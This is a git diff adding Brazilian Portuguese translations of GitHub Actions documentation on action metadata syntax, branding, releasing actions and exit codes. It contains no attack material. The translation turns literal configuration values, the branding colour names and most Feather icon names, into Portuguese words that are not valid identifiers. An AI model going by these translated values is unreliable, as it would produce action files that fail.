+**Opcional**Permite que você execute um script de cleanup, uma vez finalizada a ação`runs.entrypoint`. {% data variables.product.prodname_actions %} usa a `execução do docker` para lançar esta ação. Porque {% data variables.product.prodname_actions %} executa o script dentro de um novo contêiner usando a mesma imagem-base, o estado do momento da execução é diferente do contêiner principal do `entrypoint`. Você pode acessar qualquer estado que precisar na área de trabalho, em `HOME` ou como variável `STATE_`. A ação `post-entrypoint:` é sempre executada por padrão, mas você pode substituí-la usando [`post-if`](#post-if).
 
 ```yaml
 runs:
@@ -434,17 +434,17 @@ runs:
 
 ### `runs.args`
 
-**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up.
+**Opcional** Um array de strings que define as entradas para um contêiner Docker. As entradas podem incluir strings com codificação rígida. O {% data variables.product.prodname_dotcom %} entrega os `args` ao `ENTRYPOINT` do contêiner quando o contêiner inicia.
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+`args` são usados em substituição à instrução `CMD` em um `Dockerfile`. Se você usar `CMD` no `Dockerfile`, use as diretrizes ordenadas por preferência:
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell.
+Se você precisar passar variáveis de ambiente para uma ação, certifique-se de que sua ação executa um shell de comando para realizar a substituição de variáveis. Por exemplo, se seu atributo `entrypoint` é definido como `"sh -c"`, os `args` serão executados em um terminal de comando. Como alternativa, se o seu `arquivo Docker` usar um `Entrypoint` para executar o mesmo comando (`"sh-c"`), os `Args` serão executado em um shell de comando.
 
-For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)."
+Para obter mais informações sobre o uso da instrução `CMD` com {% data variables.product.prodname_actions %}, consulte "[Suporte do arquivo Docker para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)".
 
-#### Example
+#### Exemplo
 
 {% raw %}
 ```yaml
@@ -460,9 +460,9 @@ runs:
 
 ## `branding`
 
-You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
+Você pode usar uma cor e o ícone da [Pena](https://feathericons.com/) para criar um selo para personalizar e distinguir a sua ação. Os selos são exibidos ao lado do nome da sua ação em [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
 
-### Example
+### Exemplo
 
 ```yaml
 branding:
@@ -472,399 +472,399 @@ branding:
 
 ### `branding.color`
 
-The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`.
+Cor de fundo do selo. Pode ser: `branco`, `amarelo`, `azul`, `verde`, `laranja`, `vermelho`, `roxo` ou `cinza-escuro`.
 
 ### `branding.icon`
 
-The name of the [Feather](https://feathericons.com/) icon to use.
+Nome do ícone [Feather](https://feathericons.com/) (pena) para usar.
 
 <table>
 <tr>
-<td>activity</td>
-<td>airplay</td>
-<td>alert-circle</td>
-<td>alert-octagon</td>
+<td>atividade</td>
+<td>frequência de execução</td>
+<td>alerta-círculo</td>
+<td>alerta-octágono</td>
 </tr>
 <tr>
-<td>alert-triangle</td>
-<td>align-center</td>
-<td>align-justify</td>
-<td>align-left</td>
+<td>alerta-triângulo</td>
+<td>alinhar-centro</td>
+<td>alinhar-justificar</td>
+<td>alinhar-esquerda</td>
 </tr>
 <tr>
-<td>align-right</td>
-<td>anchor</td>
-<td>aperture</td>
-<td>archive</td>
+<td>alinhar-direita</td>
+<td>âncora</td>
+<td>abertura</td>
+<td>arquivar</td>
 </tr>
 <tr>
-<td>arrow-down-circle</td>
-<td>arrow-down-left</td>
-<td>arrow-down-right</td>
-<td>arrow-down</td>
+<td>flecha-abaixo-círculo</td>
+<td>flecha-abaixo-esquerda</td>
+<td>flecha-abaixo-direita</td>
+<td>flecha-abaixo</td>
 </tr>
 <tr>
-<td>arrow-left-circle</td>
-<td>arrow-left</td>
-<td>arrow-right-circle</td>
-<td>arrow-right</td>
+<td>flecha-esquerda-círculo</td>
+<td>flecha-esquerda</td>
+<td>flecha-direita-círculo</td>
+<td>flecha-direita</td>
 </tr>
 <tr>
-<td>arrow-up-circle</td>
-<td>arrow-up-left</td>
-<td>arrow-up-right</td>
-<td>arrow-up</td>
+<td>flecha-acima-círculo</td>
+<td>flecha-acima-esquerda</td>
+<td>flecha-acima-direita</td>
+<td>flecha-acima</td>
 </tr>
 <tr>
-<td>at-sign</td>
-<td>award</td>
-<td>bar-chart-2</td>
-<td>bar-chart</td>
+<td>arroba</td>
+<td>prêmio</td>
+<td>barra-quadro-2</td>
+<td>barra-quadro</td>
 </tr>
 <tr>
-<td>battery-charging</td>
-<td>battery</td>
-<td>bell-off</td>
-<td>bell</td>
+<td>bateria-carregando</td>
+<td>bateria</td>
+<td>sino-desativado</td>
+<td>sino</td>
 </tr>
 <tr>
 <td>bluetooth</td>
-<td>bold</td>
-<td>book-open</td>
-<td>book</td>
+<td>negrito</td>
+<td>livro-aberto</td>
+<td>livro</td>
 </tr>
 <tr>
-<td>bookmark</td>
-<td>box</td>
-<td>briefcase</td>
-<td>calendar</td>
+<td>favorito</td>
+<td>caixa</td>
+<td>pasta</td>
+<td>calendário</td>
 </tr>
 <tr>
-<td>camera-off</td>
-<td>camera</td>
-<td>cast</td>
-<td>check-circle</td>
+<td>câmera-desligada</td>
+<td>câmera</td>
+<td>molde</td>
+<td>marcar-círculo</td>
 </tr>
 <tr>
-<td>check-square</td>
-<td>check</td>
-<td>chevron-down</td>
-<td>chevron-left</td>
+<td>marcar-quadrado</td>
+<td>marcar</td>
+<td>chevron-abaixo</td>
+<td>chevron-esquerda</td>
 </tr>
 <tr>
-<td>chevron-right</td>
-<td>chevron-up</td>
-<td>chevrons-down</td>
-<td>chevrons-left</td>
+<td>chevron-direita</td>
+<td>chevron-acima</td>
+<td>chevrons-abaixo</td>
+<td>chevrons-esquerda</td>
 </tr>
 <tr>
-<td>chevrons-right</td>
-<td>chevrons-up</td>
-<td>circle</td>
+<td>chevrons-direita</td>
+<td>chevrons-acima</td>
+<td>círculo</td>
 <td>clipboard</td>
 </tr>
 <tr>
-<td>clock</td>
-<td>cloud-drizzle</td>
-<td>cloud-lightning</td>
-<td>cloud-off</td>
+<td>relógio</td>
+<td>nuvem-chuvisco</td>
+<td>nuvem-relâmpago</td>
+<td>nuvem-desativada</td>
 </tr>
 <tr>
-<td>cloud-rain</td>
-<td>cloud-snow</td>
-<td>cloud</td>
-<td>code</td>
+<td>nuvem-chuva</td>
+<td>nuvem-neve</td>
+<td>nuvem</td>
+<td>código</td>
 </tr>
 <tr>
-<td>command</td>
-<td>compass</td>
+<td>comando</td>
+<td>bússula</td>
 <td>copy</td>
-<td>corner-down-left</td>
+<td>canto-abaixo-esquerda</td>
 </tr>
 <tr>
-<td>corner-down-right</td>
-<td>corner-left-down</td>
-<td>corner-left-up</td>
-<td>corner-right-down</td>
+<td>canto-abaixo-direita</td>
+<td>canto-esquerda-abaixo</td>
+<td>canto-esquerda-acima</td>
+<td>canto-direita-abaixo</td>
 </tr>
 <tr>
-<td>corner-right-up</td>
-<td>corner-up-left</td>
-<td>corner-up-right</td>
+<td>canto-direita-acima</td>
+<td>canto-acima-esquerda</td>
+<td>canto-acima-direita</td>
 <td>cpu</td>
 </tr>
 <tr>
-<td>credit-card</td>
-<td>crop</td>
-<td>crosshair</td>
-<td>database</td>
+<td>cartão-de-crédito</td>
+<td>cortar</td>
+<td>mira</td>
+<td>banco de dados</td>
 </tr>
 <tr>
 <td>delete</td>
-<td>disc</td>
-<td>dollar-sign</td>
-<td>download-cloud</td>
+<td>disco</td>
+<td>dólar-sinal</td>
+<td>download-nuvem</td>
 </tr>
 <tr>
 <td>download</td>
-<td>droplet</td>
-<td>edit-2</td>
-<td>edit-3</td>
+<td>gota</td>
+<td>editar-2</td>
+<td>editar-3</td>
 </tr>
 <tr>
 <td>edit</td>
-<td>external-link</td>
-<td>eye-off</td>
-<td>eye</td>
+<td>link-externo</td>
+<td>olho-fechado</td>
+<td>olho</td>
 </tr>
 <tr>
 <td>facebook</td>
 <td>fast-forward</td>
-<td>feather</td>
-<td>file-minus</td>
+<td>pena</td>
+<td>arquivo-menos</td>
 </tr>
 <tr>
-<td>file-plus</td>
-<td>file-text</td>
-<td>file</td>
-<td>film</td>
+<td>arquivo-mais</td>
+<td>arquivo-texto</td>
+<td>arquivo</td>
+<td>filme</td>
 </tr>
 <tr>
-<td>filter</td>
-<td>flag</td>
-<td>folder-minus</td>
-<td>folder-plus</td>
+<td>filtro</td>
+<td>sinalizador</td>
+<td>pasta-menos</td>
+<td>pasta-mais</td>
 </tr>
 <tr>
-<td>folder</td>
-<td>gift</td>
+<td>pasta</td>
+<td>presente</td>
 <td>git-branch</td>
 <td>git-commit</td>
 </tr>
 <tr>
 <td>git-merge</td>
 <td>git-pull-request</td>
-<td>globe</td>
-<td>grid</td>
+<td>globo</td>
+<td>grade</td>
 </tr>
 <tr>
-<td>hard-drive</td>
+<td>disco-rígido</td>
 <td>hash</td>
-<td>headphones</td>
-<td>heart</td>
+<td>fones-de-ouvido</td>
+<td>coração</td>
 </tr>
 <tr>
-<td>help-circle</td>
-<td>home</td>
+<td>ajuda-círculo</td>
+<td>casa</td>
 <td>image</td>
-<td>inbox</td>
+<td>caixa de entrada</td>
 </tr>
 <tr>
 <td>info</td>
-<td>italic</td>
-<td>layers</td>
+<td>itálico</td>
+<td>camadas</td>
 <td>layout</td>
 </tr>
 <tr>
-<td>life-buoy</td>
+<td>boia salva-vidas</td>
 <td>link-2</td>
 <td>link</td>
-<td>list</td>
+<td>lista</td>
 </tr>
 <tr>
-<td>loader</td>
-<td>lock</td>
+<td>carregador</td>
+<td>bloquear</td>
 <td>log-in</td>
 <td>log-out</td>
 </tr>
 <tr>
-<td>mail</td>
-<td>map-pin</td>
+<td>correio</td>
+<td>fixar-mapa</td>
 <td>map</td>
-<td>maximize-2</td>
+<td>maximizar-2</td>
 </tr>
 <tr>
-<td>maximize</td>
+<td>maximizar</td>
 <td>menu</td>
-<td>message-circle</td>
-<td>message-square</td>
+<td>mensagem-círculo</td>
+<td>mensagem-quadrado</td>
 </tr>
 <tr>
-<td>mic-off</td>
-<td>mic</td>
-<td>minimize-2</td>
-<td>minimize</td>
+<td>microfone-desligado</td>
+<td>microfone</td>
+<td>minimizar-2</td>
+<td>minimizar</td>
 </tr>
 <tr>
-<td>minus-circle</td>
-<td>minus-square</td>
-<td>minus</td>
+<td>menos-círculo</td>
+<td>menos-quadrado</td>
+<td>menos</td>
 <td>monitor</td>
 </tr>
 <tr>
-<td>moon</td>
-<td>more-horizontal</td>
-<td>more-vertical</td>
-<td>move</td>
+<td>lua</td>
+<td>mais-horizontal</td>
+<td>mais-vertical</td>
+<td>mover</td>
 </tr>
 <tr>
-<td>music</td>
-<td>navigation-2</td>
-<td>navigation</td>
-<td>octagon</td>
+<td>música</td>
+<td>navegação-2</td>
+<td>navegação</td>
+<td>octágono</td>
 </tr>
 <tr>
-<td>package</td>
-<td>paperclip</td>
-<td>pause-circle</td>
-<td>pause</td>
+<td>pacote</td>
+<td>clips de papel</td>
+<td>pausa-círculo</td>
+<td>pausa</td>
 </tr>
 <tr>
-<td>percent</td>
-<td>phone-call</td>
-<td>phone-forwarded</td>
-<td>phone-incoming</td>
+<td>porcentagem</td>
+<td>chamada-telefônica</td>
+<td>telefone-transferência</td>
+<td>telefone-entrada</td>
 </tr>
 <tr>
-<td>phone-missed</td>
-<td>phone-off</td>
-<td>phone-outgoing</td>
-<td>phone</td>
+<td>telefone-perdido</td>
+<td>telefone-desligado</td>
+<td>telefone-fora</td>
+<td>telefone</td>
 </tr>
 <tr>
-<td>pie-chart</td>
-<td>play-circle</td>
-<td>play</td>
-<td>plus-circle</td>
+<td>gráfico-pizza</td>
+<td>reproduzir-círculo</td>
+<td>reproduzir</td>
+<td>mais-círculo</td>
 </tr>
 <tr>
-<td>plus-square</td>
-<td>plus</td>
-<td>pocket</td>
-<td>power</td>
+<td>mais-quadrado</td>
+<td>mais</td>
+<td>bolso</td>
+<td>energia</td>
 </tr>
 <tr>
-<td>printer</td>
-<td>radio</td>
-<td>refresh-ccw</td>
-<td>refresh-cw</td>
+<td>impressora</td>
+<td>rádio</td>
+<td>atualizar-ccw</td>
+<td>atualizar-cw</td>
 </tr>
 <tr>
-<td>repeat</td>
-<td>rewind</td>
-<td>rotate-ccw</td>
-<td>rotate-cw</td>
+<td>repetir</td>
+<td>retroceder</td>
+<td>girar-ccw</td>
+<td>girar-cw</td>
 </tr>
 <tr>
 <td>rss</td>
-<td>save</td>
-<td>scissors</td>
-<td>search</td>
+<td>salvar</td>
+<td>tesoura</td>
+<td>pesquisar</td>
 </tr>
 <tr>
-<td>send</td>
-<td>server</td>
+<td>enviar</td>
+<td>servidor</td>
 <td>settings</td>
-<td>share-2</td>
+<td>compartilhar-2</td>
 </tr>
 <tr>
-<td>share</td>
-<td>shield-off</td>
-<td>shield</td>
-<td>shopping-bag</td>
+<td>compartilhar</td>
+<td>escudo-desabilitado</td>
+<td>escudo</td>
+<td>sacola-de-compras</td>
 </tr>
 <tr>
-<td>shopping-cart</td>
-<td>shuffle</td>
-<td>sidebar</td>
-<td>skip-back</td>
+<td>carrinho-de-compras</td>
+<td>aleatório</td>
+<td>barra lateral</td>
+<td>pular-atrás</td>
 </tr>
 <tr>
-<td>skip-forward</td>
-<td>slash</td>
-<td>sliders</td>
+<td>pular-frente</td>
+<td>barra</td>
+<td>cursor</td>
 <td>smartphone</td>
 </tr>
 <tr>
-<td>speaker</td>
-<td>square</td>
-<td>star</td>
-<td>stop-circle</td>
+<td>alto-falante</td>
+<td>quadrado</td>
+<td>estrela</td>
+<td>parar-círculo</td>
 </tr>
 <tr>
-<td>sun</td>
-<td>sunrise</td>
-<td>sunset</td>
+<td>sol</td>
+<td>nascer-do-sol</td>
+<td>pôr-do-sol</td>
 <td>tablet</td>
 </tr>
 <tr>
 <td>tag</td>
 <td>target</td>
 <td>terminal</td>
-<td>thermometer</td>
+<td>termômetro</td>
 </tr>
 <tr>
-<td>thumbs-down</td>
-<td>thumbs-up</td>
-<td>toggle-left</td>
-<td>toggle-right</td>
+<td>polegar-para-baixo</td>
+<td>polegar-para-cima</td>
+<td>alternar-esquerda</td>
+<td>alternar-direita</td>
 </tr>
 <tr>
-<td>trash-2</td>
-<td>trash</td>
-<td>trending-down</td>
-<td>trending-up</td>
+<td>lixeira-2</td>
+<td>lixeira</td>
+<td>tendência-baixa</td>
+<td>tendência-alta</td>
 </tr>
 <tr>
-<td>triangle</td>
-<td>truck</td>
+<td>triângulo</td>
+<td>caminhão</td>
 <td>tv</td>
-<td>type</td>
+<td>tipo</td>
 </tr>
 <tr>
-<td>umbrella</td>
-<td>underline</td>
-<td>unlock</td>
-<td>upload-cloud</td>
+<td>guarda-chuva</td>
+<td>sublinhar</td>
+<td>desbloquear</td>
+<td>carregar-nuvem</td>
 </tr>
 <tr>
-<td>upload</td>
-<td>user-check</td>
-<td>user-minus</td>
-<td>user-plus</td>
+<td>fazer upload</td>
+<td>usuário-marcar</td>
+<td>usuário-menos</td>
+<td>usuário-mais</td>
 </tr>
 <tr>
-<td>user-x</td>
-<td>user</td>
+<td>usuário-x</td>
+<td>usuário</td>
 <td>users</td>
-<td>video-off</td>
+<td>vídeo-desligado</td>
 </tr>
 <tr>
-<td>video</td>
-<td>voicemail</td>
+<td>vídeo</td>
+<td>correio de voz</td>
 <td>volume-1</td>
 <td>volume-2</td>
 </tr>
 <tr>
 <td>volume-x</td>
 <td>volume</td>
-<td>watch</td>
-<td>wifi-off</td>
+<td>inspecionar</td>
+<td>wifi-desligado</td>
 </tr>
 <tr>
 <td>wifi</td>
-<td>wind</td>
-<td>x-circle</td>
-<td>x-square</td>
+<td>vento</td>
+<td>x-círculo</td>
+<td>x-quadrado</td>
 </tr>
 <tr>
 <td>x</td>
-<td>zap-off</td>
-<td>zap</td>
-<td>zoom-in</td>
+<td>zapear-desligado</td>
+<td>zapear</td>
+<td>aproximar</td>
 </tr>
 <tr>
-<td>zoom-out</td>
+<td>afastar</td>
 <td></td>
 <td></td>
 <td></td>
diff --git a/translations/pt-BR/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/pt-BR/content/actions/creating-actions/releasing-and-maintaining-actions.md
index a75f639e0f..c0b54b4353 100644
--- a/translations/pt-BR/content/actions/creating-actions/releasing-and-maintaining-actions.md
+++ b/translations/pt-BR/content/actions/creating-actions/releasing-and-maintaining-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Releasing and maintaining actions
-shortTitle: Releasing and maintaining actions
-intro: You can leverage automation and open source best practices to release and maintain actions.
+title: Aprovando e mantendo ações
+shortTitle: Aprovando e mantendo ações
+intro: Você pode aproveitar a automação e as práticas recomendadas de código aberto para lançar e manter ações.
 type: tutorial
 topics:
   - Action development
@@ -17,79 +17,79 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-After you create an action, you'll want to continue releasing new features while working with community contributions. This tutorial describes an example process you can follow to release and maintain actions in open source. The example:
+Depois de criar uma ação, você irá continuar lançando novas funcionalidades enquanto trabalha com contribuições da comunidade. Este tutorial descreve um exemplo de processo que você pode seguir para lançar e manter as ações em código aberto. O exemplo:
 
-* Leverages {% data variables.product.prodname_actions %} for continuous integration, dependency updates, release management, and task automation.
-* Provides confidence through automated tests and build badges.
-* Indicates how the action can be used, ideally as part of a broader workflow.
-* Signal what type of community contributions you welcome. (For example, issues, pull requests, or vulnerability reports.)
+* Aproveita {% data variables.product.prodname_actions %} para integração contínua, atualizações de dependência, gerenciamento de versões e automação de tarefas.
+* Fornece confiança por meio de testes automatizados e cria selos.
+* Indica como a ação pode ser usada, de preferência como parte de um fluxo de trabalho mais amplo.
+* Sinaliza que tipo de contribuições da comunidade você recebe. (Por exemplo, problemas, pull requests ou relatórios de vulnerabilidade.)
 
-For an applied example of this process, see [github-developer/javascript-action](https://github.com/github-developer/javascript-action).
+Para um exemplo aplicado deste processo, consulte [github-developer/javascript-action](https://github.com/github-developer/javascript-action).
 
-## Developing and releasing actions
+## Desenvolver e lançar ações
 
-In this section, we discuss an example process for developing and releasing actions and show how to use {% data variables.product.prodname_actions %} to automate the process.
+Nesta seção, discutimos um processo exemplo para desenvolver e lançar ações e mostrar como usar {% data variables.product.prodname_actions %} para automatizar o processo.
 
-### About JavaScript actions
+### Sobre ações do JavaScript
 
-JavaScript actions are Node.js repositories with metadata. However, JavaScript actions have additional properties compared to traditional Node.js projects:
+As ações do JavaScript são repositórios do Node.js com metadados. No entanto, as ações do JavaScript têm propriedades adicionais comparadas aos projetos tradicionais do Node.js:
 
-* Dependent packages are committed alongside the code, typically in a compiled and minified form. This means that automated builds and secure community contributions are important.
+* Os pacotes dependentes recebem commit ao lado do código, normalmente em uma forma compilada e minificada. Isto significa que as criações automatizadas e as contribuições seguras da comunidade são importantes.
 
 {% ifversion fpt or ghec %}
 
-* Tagged releases can be published directly to {% data variables.product.prodname_marketplace %} and consumed by workflows across {% data variables.product.prodname_dotcom %}.
+* As versões marcadas podem ser publicadas diretamente em {% data variables.product.prodname_marketplace %} e consumidas pelos fluxos de trabalho em {% data variables.product.prodname_dotcom %}.
 
 {% endif %}
 
-* Many actions make use of {% data variables.product.prodname_dotcom %}'s APIs and third party APIs, so we encourage robust end-to-end testing.
+* Muitas ações fazem uso de APIs de {% data variables.product.prodname_dotcom %} e de terceiros, por isso incentivamos testes robustos de ponta a ponta.
 
-### Setting up {% data variables.product.prodname_actions %} workflows
+### Configurando fluxos de trabalho de {% data variables.product.prodname_actions %}
 
-To support the developer process in the next section, add two {% data variables.product.prodname_actions %} workflows to your repository:
+Para apoiar o processo de desenvolvedor na próxima seção, adicione dois fluxos de trabalho de {% data variables.product.prodname_actions %} ao seu repositório:
 
-1. Add a workflow that triggers when a commit is pushed to a feature branch or to `main` or when a pull request is created. Configure the workflow to run your unit and integration tests. For an example, see [this workflow](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/test.yml).
-2. Add a workflow that triggers when a release is published or edited. Configure the workflow to ensure semantic tags are in place. You can use an action like [JasonEtco/build-and-tag-action](https://github.com/JasonEtco/build-and-tag-action) to compile and bundle the JavaScript and metadata file and force push semantic major, minor, and patch tags. For an example, see [this workflow](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/publish.yml). For more information about semantic tags, see "[About semantic versioning](https://docs.npmjs.com/about-semantic-versioning)."
+1. Adicione um fluxo de trabalho que é acionado quando um commit é enviado por push para um branch de recurso ou para o `principal` ou quando um pull request é criado. Configure o fluxo de trabalho para executar seus testes de unidade e integração. Por exemplo, consulte [este fluxo de trabalho](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/test.yml).
+2. Adicione um fluxo de trabalho que é acionado quando uma versão é publicada ou editada. Configure o fluxo de trabalho para garantir que as tags semânticas estejam prontas. Você pode usar uma ação como [JasonEtco/build-and-tag-action](https://github.com/JasonEtco/build-and-tag-action) para compilar e empacotar o arquivo de metadados e o JavaScript e fazer push forçado semântico maior, menor e tags de patch. Por exemplo, consulte [este fluxo de trabalho](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/publish.yml). Para obter mais informações sobre tags semânticas, consulte "[Sobre versão semântica](https://docs.npmjs.com/about-semantic-versioning)".
 
-### Example developer process
+### Exemplo do processo de desenvolvedor
 
-Here is an example process that you can follow to automatically run tests, create a release{% ifversion fpt or ghec%} and publish to {% data variables.product.prodname_marketplace %}{% endif %}, and publish your action.
+Aqui está um exemplo de processo que você pode seguir para executar os testes automaticamente, crie uma versão{% ifversion fpt or ghec%} e publique em {% data variables.product.prodname_marketplace %}{% endif %} e publique sua ação.
 
-1. Do feature work in branches per GitHub flow. For more information, see "[GitHub flow](/get-started/quickstart/github-flow)."
-   * Whenever a commit is pushed to the feature branch, your testing workflow will automatically run the tests.
+1. Faça o trabalho de recurso nos branches por fluxo do GitHub. Para obter mais informações, consulte "[fluxo do GitHub](/get-started/quickstart/github-flow)".
+   * Sempre que um commit é enviado por push para o branch de recurso, seu fluxo de trabalho de teste irá executar os testes automaticamente.
 
-2. Create pull requests to the `main` branch to initiate discussion and review, merging when ready.
+2. Crie pull requests para o branch `principal` para iniciar a discussão e revisão, fazendo merge quando estiver pronto.
 
-   * When a pull request is opened, either from a branch or a fork, your testing workflow will again run the tests, this time with the merge commit.
+   * Quando um pull request é aberto, seja em um branch ou bifurcação, seu fluxo de trabalho de testes executará novamente os testes, desta vez com o commit do merge.
 
-   * **Note:** for security reasons, workflows triggered by `pull_request` from forks have restricted `GITHUB_TOKEN` permissions and do not have access to secrets. If your tests or other workflows triggered upon pull request require access to secrets, consider using a different event like a [manual trigger](/actions/reference/events-that-trigger-workflows#manual-events) or a [`pull_request_target`](/actions/reference/events-that-trigger-workflows#pull_request_target). Read more [here](/actions/reference/events-that-trigger-workflows#pull-request-events-for-forked-repositories).
+   * **Observação:** por razões de segurança, fluxos de trabalho acionados por `pull_request` apartir das bifurcações restringiram as permissões de `GITHUB_TOKEN` e não têm acesso a segredos. Se seus testes ou outros fluxos de trabalho acionados após o pull request solicitar acesso a segredos, considere o uso de um evento diferente como um manual [disparar](/actions/reference/events-that-trigger-workflows#manual-events) ou um [`pull_request_target`](/actions/reference/events-that-trigger-workflows#pull_request_target). Leia mais [aqui](/actions/reference/events-that-trigger-workflows#pull-request-events-for-forked-repositories).
 
-3. Create a semantically tagged release. {% ifversion fpt or ghec %} You may also publish to {% data variables.product.prodname_marketplace %} with a simple checkbox. {% endif %} For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)"{% ifversion fpt or ghec %} and "[Publishing actions in {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)"{% endif %}.
+3. Crie uma versão semântica marcada. {% ifversion fpt or ghec %} Você também pode publicar em {% data variables.product.prodname_marketplace %} com uma caixa de seleção simples. {% endif %} Para mais informações, consulte "[Gerenciando versões em um repositório](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)"{% ifversion fpt or ghec %} e "[Publicando ações em {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)"{% endif %}.
 
-   * When a release is published or edited, your release workflow will automatically take care of compilation and adjusting tags.
+   * Quando uma versão é publicada ou editada, seu fluxo de trabalho de versão cuidará automaticamente da compilação e ajuste das tags.
 
-   * We recommend creating releases using semantically versioned tags – for example, `v1.1.3` – and keeping major (`v1`) and minor (`v1.1`) tags current to the latest appropriate commit. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#using-release-management-for-actions)" and "[About semantic versioning](https://docs.npmjs.com/about-semantic-versioning).
+   * Recomendamos criar versões usando tags com versão semântica – por exemplo, `v1.1.3` – e mantendo tags maiores (`v1`) e menores (`v1.`) atuais para o último commit apropriado. Para obter mais informações, consulte "[Sobre ações personalizadas](/actions/creating-actions/about-custom-actions#using-release-management-for-actions)" e "[Sobre a versão semântica](https://docs.npmjs.com/about-semantic-versioning).
 
-### Results
+### Resultados
 
-Unlike some other automated release management strategies, this process intentionally does not commit dependencies to the `main` branch, only to the tagged release commits. By doing so, you encourage users of your action to reference named tags or `sha`s, and you help ensure the security of third party pull requests by doing the build yourself during a release.
+Diferentemente de outras estratégias automatizadas de gerenciamento de versão, este processo não faz, de modo intencional, commit de dependências para o branch `principal`, apenas para os commits de versão com tag. Ao fazer isso, você incentiva os usuários da sua ação a fazerem referência a tags nomeadas ou `sha`s, além de ajudar a garantir a segurança de pull requests de terceiros, fazendo a compilação você mesmo durante uma versão.
 
-Using semantic releases means that the users of your actions can pin their workflows to a version and know that they might continue to receive the latest stable, non-breaking features, depending on their comfort level:
+Usar versões semânticas significa que os usuários das suas ações podem fixar os seus fluxos de trabalho a uma versão e saber que podem continuar recebendo a última estabilidade recursos não relevantes, dependendo de seu nível de conforto:
 
-## Working with the community
+## Trabalhando com a comunidade
 
-{% data variables.product.product_name %} provides tools and guides to help you work with the open source community. Here are a few tools we recommend setting up for healthy bidirectional communication. By providing the following signals to the community, you encourage others to use, modify, and contribute to your action:
+{% data variables.product.product_name %} fornece ferramentas e guias para ajudar você a trabalhar com a comunidade de código aberto. Aqui estão algumas ferramentas que recomendamos a criação de uma comunicação bidirecional saudável. Ao fornecer os seguintes sinais à comunidade, você incentiva outras pessoas a usar, modificar e contribuir para sua ação:
 
-* Maintain a `README` with plenty of usage examples and guidance. For more information, see "[About READMEs](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)."
-* Include a workflow status badge in your `README` file. For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %}
-* Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. For more information, see "[Creating a default community health file](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)."{% endif %}
-* Keep issues current by utilizing actions like [actions/stale](https://github.com/actions/stale).
+* Mantenha um `README` com muitos exemplos de uso e orientação. Para obter mais informações, consulte "[Sobre README](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)".
+* Inclua um selo de status de fluxo de trabalho no seu arquivo `README`. Para obter mais informações, consulte "[Adicionando um selo de status do fluxo de trabalho](/actions/managing-workflow-runs/adding-a-workflow-status-badge)". Visite também [shields.io](https://shields.io/) para aprender sobre outros selos que você pode adicionar.{% ifversion fpt or ghec %}
+* Adicione arquivos de saúde da comunidade como `CODE_OF_CONDUCT`, `CONTRIBUTING` e `SEGURANÇA`. Para obter mais informações, consulte "[" Criando um arquivo padrão de saúde da comunidade](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)."{% endif %}
+* Mantenha os problemas atuais, utilizando as ações como [actions/stale](https://github.com/actions/stale).
 
-## Further reading
+## Leia mais
 
-Examples where similar patterns are employed include:
+Os exemplos em que os padrões similares são empregados incluem:
 
 * [github/super-linter](https://github.com/github/super-linter)
 * [octokit/request-action](https://github.com/octokit/request-action)
diff --git a/translations/pt-BR/content/actions/creating-actions/setting-exit-codes-for-actions.md b/translations/pt-BR/content/actions/creating-actions/setting-exit-codes-for-actions.md
index 1b8f685951..01b4e6d805 100644
--- a/translations/pt-BR/content/actions/creating-actions/setting-exit-codes-for-actions.md
+++ b/translations/pt-BR/content/actions/creating-actions/setting-exit-codes-for-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Setting exit codes for actions
-shortTitle: Setting exit codes
-intro: 'You can use exit codes to set the status of an action. {% data variables.product.prodname_dotcom %} displays statuses to indicate passing or failing actions.'
+title: Definir códigos de saída para ações
+shortTitle: Definir códigos de saída
+intro: 'Você pode usar códigos de saída para definir o status de uma ação. {% data variables.product.prodname_dotcom %} exibe os status para indicar a aprovação ou falha das ações.'
 redirect_from:
   - /actions/building-actions/setting-exit-codes-for-actions
